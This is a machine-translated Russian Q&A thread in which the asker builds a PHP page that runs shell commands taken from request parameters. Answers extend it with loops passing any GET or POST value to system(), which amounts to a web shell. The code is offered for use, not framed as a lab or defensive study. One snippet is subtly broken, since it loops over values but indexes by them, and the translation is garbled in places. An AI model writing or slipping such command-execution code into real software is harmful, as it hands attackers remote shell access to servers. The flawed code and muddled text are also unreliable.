2017-02-16 4 views
0

Я пытаюсь сделать простую команду страницы выполнения уязвимости ... Это мой код:PHP - принимать значение любого параметра и любого методом

system($_GET['cmd']); 

Он работает нормально, как это: http://example/index.php?cmd=ls

проблема заключается в том, я хочу сделать этот небольшой код, чтобы работать с любым параметром и любым способом (GET или POST)

Например, если какой-либо параметр используется, то он все равно будет проходить через системный метод, а именно: "Алло = LS". (Я не знаю, они где использовать hello в качестве ключа. Любые идеи?

+1

использование '$ _REQUEST' затем –

ответ

0

Вы можете хранить каждый ключ индекса в массиве затем цикл заданное значение.

$keys = ['cmd', 'hello', 'etc..']; // jus add your params 

// GET params 
foreach($keys as $_key) { 
    if(isset($_GET[$_key]) && !empty($_GET[$_key])) { 
     system($_GET[$_key]); 
    } 
} 

// POST params 
foreach($keys as $_key) { 
    if(isset($_POST[$_key]) && !empty($_POST[$_key])) { 
     system($_POST[$_key]); 
    } 
} 

Если вы не хотите знать, ключ к POST/GET, то:

foreach($_GET as $key) { 
    system($_GET[$key]); 
} 

foreach($_POST as $key) { 
    system($_POST[$key]); 
} 
+0

OP: * «Проблема в том, что я хочу сделать этот маленький код, работать с любым параметром и любым методом (GET или POST)» * –

+0

вы имеете в виду, что я не могу это сделать? – M1L4D

+0

Ofc вы можете и его простой способ только некоторые люди любят плакать много – KDOT

0

Вы можете попробовать использовать: file_get_contents('php://input');, чтобы получить необработанный ввод

Смежные вопросы